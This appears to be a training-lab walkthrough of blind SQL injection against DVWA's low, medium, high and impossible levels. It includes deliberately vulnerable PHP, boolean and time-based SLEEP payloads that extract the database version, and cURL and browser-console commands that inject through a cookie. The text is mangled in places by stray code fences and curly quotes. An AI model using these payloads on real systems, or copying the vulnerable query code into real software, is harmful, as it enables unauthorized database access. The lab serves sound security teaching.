Blind SQL Injection is identical to normal SQL injection, except that when an attacker attempts to exploit the application, they don’t receive direct feedback from database queries. Instead of seeing error messages or query results, the attacker gets:
Generic error pages specified by the developer
Different HTTP responses (200 OK vs 404 Not Found)
Timing differences in page responses
This makes exploitation more difficult but not impossible. Attackers can still extract data by:
Boolean-based blind SQL injection: Asking a series of True/False questions through SQL statements
Time-based blind SQL injection: Monitoring how long the application takes to respond
The “time-based” method is often used when there’s no visible feedback in the page response. The attacker uses SQL commands that cause delays (like SLEEP()) and measures response times. If the page takes longer than normal to respond, the injected query was successful.
The low security level is vulnerable to blind SQL injection because it uses raw, unescaped user input directly in SQL queries, but only reveals whether a user exists or not (no actual data is displayed).
$id = $_GET[ 'id' ];$exists = false;$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";$result = mysqli_query($GLOBALS["___mysqli_ston"], $query );$exists = (mysqli_num_rows( $result ) > 0);if ($exists) { $html .= '<pre>User ID exists in the database.</pre>';} else { header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' ); $html .= '<pre>User ID is MISSING from the database.</pre>';}```bash**Key Vulnerability**: - User input is directly concatenated into the SQL query with single quotes- The application only shows "exists" or "missing" messages- Error messages are suppressed (no `or die()` clause)- 404 header is set when user is not found#### Why It's Vulnerable- No input validation or sanitization- Single quotes around the parameter allow SQL injection- Boolean response (exists/missing) allows true/false testing- GET parameter makes testing easier#### Testing Approach**Boolean-Based Blind Injection:**
?id=1’ AND IF(SUBSTRING(@@version,1,1)=‘5’, sleep(5), 0)— -
<Accordion title="Show Hint"> You can inject SQL that causes the database to pause/sleep. If the page takes longer to load, your condition was true. Try using the `SLEEP()` function in MySQL. Combine it with conditional statements to extract data bit by bit. </Accordion> <Accordion title="Show Spoiler"> **Example payload**: `?id=1' AND sleep(5)-- -&Submit=Submit` This will make the page sleep for 5 seconds if user ID 1 exists. To extract the database version:
Will return “exists” if first char of version is ‘5’
?id=1’ AND SUBSTRING(@@version,1,1)=‘5’— -
</Accordion> </Tab> <Tab title="Medium"> ### Vulnerability Analysis The medium level attempts to add protection using `mysqli_real_escape_string()`, but like the standard SQL injection medium level, it's **still vulnerable** because the parameter has no quotes around it. #### Vulnerable Code ```php $id = $_POST[ 'id' ]; $id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id); $query = "SELECT first_name, last_name FROM users WHERE user_id = $id;"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $query); $exists = (mysqli_num_rows( $result ) > 0); if ($exists) { $html .= '<pre>User ID exists in the database.</pre>'; } else { $html .= '<pre>User ID is MISSING from the database.</pre>'; }
Key Vulnerability:
mysqli_real_escape_string() escapes quotes and special characters
BUT the query has no quotes around $id: WHERE user_id = $id
Since there are no quotes around the parameter, you can inject numeric SQL without needing to escape anything. The escaping function is completely ineffective.
# Sleep for 3 seconds ?id=1 AND sleep(3)-- - # Extract database version ?id=1 AND IF(SUBSTRING(@@version,1,1)='5', sleep(3), 0)-- -
Boolean-Based Injection:
# True condition ?id=1 AND 1=1-- - Result: "User ID exists" # False condition ?id=1 AND 1=2-- - Result: "User ID is MISSING"
Show Hint
Notice the query doesn’t have quotes around the user_id. You can inject without using single quotes.The sleep function still works, and you don’t need to escape anything.
Show Spoiler
Example payload: ?id=1 AND sleep(3)-- -&Submit=SubmitExtract the database version:
# Test each character position ?id=1 AND IF(ASCII(SUBSTRING(@@version,1,1))=53, sleep(3), 0)-- -
The number 53 is ASCII for ‘5’. If the first character of the version is ‘5’, the page will sleep.
The high level is similar to the low level but uses cookies to pass the user ID instead of GET/POST parameters. It also adds random delays to make time-based attacks more challenging.
$id = $_COOKIE[ 'id' ];$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";$result = mysqli_query($GLOBALS["___mysqli_ston"], $query);$exists = (mysqli_num_rows( $result ) > 0);if ($exists) { $html .= '<pre>User ID exists in the database.</pre>';} else { // Might sleep a random amount if( rand( 0, 5 ) == 3 ) { sleep( rand( 2, 4 ) ); } header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' ); $html .= '<pre>User ID is MISSING from the database.</pre>';}```bash**Key Vulnerability**: - Still uses raw input with single quotes in the query- Input comes from `$_COOKIE` instead of GET/POST- Random sleeps on failures make time-based detection harder#### Changes from Previous Levels- Uses cookies instead of GET/POST parameters- Adds random delays (2-4 seconds) to failed requests- Keeps the LIMIT 1 clause- Sets 404 header on failures#### Why It's VulnerableThe fundamental SQL injection vulnerability remains the same. Cookies are just another form of user input and can be manipulated just as easily as GET/POST parameters.#### Testing ApproachYou need to set the cookie value to inject SQL:**Using Browser Developer Tools:**```javascript// Set cookie in browser consoledocument.cookie = "id=1' AND sleep(10)-- -";
Using cURL:
curl -b "id=1' AND sleep(10)-- -" http://target/vulnerabilities/sqli_blind/```text**Time-Based Injection:**- Use longer sleep times (10+ seconds) to account for random delays- Random delays only happen on failures, not successes- Success + sleep(10) = consistent 10+ second delay- Failure = 0-4 second delay (random)<Accordion title="Show Hint"> The ID comes from a cookie value. You can set cookies using browser developer tools, proxy tools, or directly in HTTP requests. The random delays are only added to MISSING results. Successful queries with sleep commands will still show consistent delays. Use longer sleep times to distinguish your intentional delays from the random ones.</Accordion><Accordion title="Show Spoiler"> **Example payload**: Set cookie `id` to `1' AND sleep(10)-- -` The page will sleep for exactly 10 seconds if user 1 exists. Extract database version:
Cookie: id=1’ AND IF(SUBSTRING(@@version,1,1)=‘5’, sleep(10), 0)— -
You can also try to access the session setting page directly and bypass the cookie mechanism entirely. </Accordion> </Tab> <Tab title="Impossible"> ### Secure Implementation The impossible level uses **parameterized queries** (prepared statements) to completely prevent SQL injection. #### Secure Code ```php $id = $_GET[ 'id' ]; // Was a number entered? if(is_numeric( $id )) { $id = intval ($id); // Parameterized query $data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' ); $data->bindParam( ':id', $id, PDO::PARAM_INT ); $data->execute(); $exists = $data->rowCount(); } if ($exists) { $html .= '<pre>User ID exists in the database.</pre>'; } else { header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' ); $html .= '<pre>User ID is MISSING from the database.</pre>'; }
-- Test if database is MySQL' AND (SELECT 'a' FROM dual)='a'-- --- Extract database version character by character' AND SUBSTRING(@@version,1,1)='5'-- -' AND SUBSTRING(@@version,2,1)='.'-- -' AND SUBSTRING(@@version,3,1)='7'-- --- Extract using binary search (faster)' AND ASCII(SUBSTRING(@@version,1,1))>52-- -' AND ASCII(SUBSTRING(@@version,1,1))<54-- -```bash### Time-Based Blind SQLiUse timing to extract information:```sql-- Basic sleep test' AND sleep(5)-- --- Conditional sleep based on version' AND IF(SUBSTRING(@@version,1,1)='5', sleep(5), 0)-- --- Extract using binary search with timing' AND IF(ASCII(SUBSTRING(@@version,1,1))>52, sleep(5), 0)-- -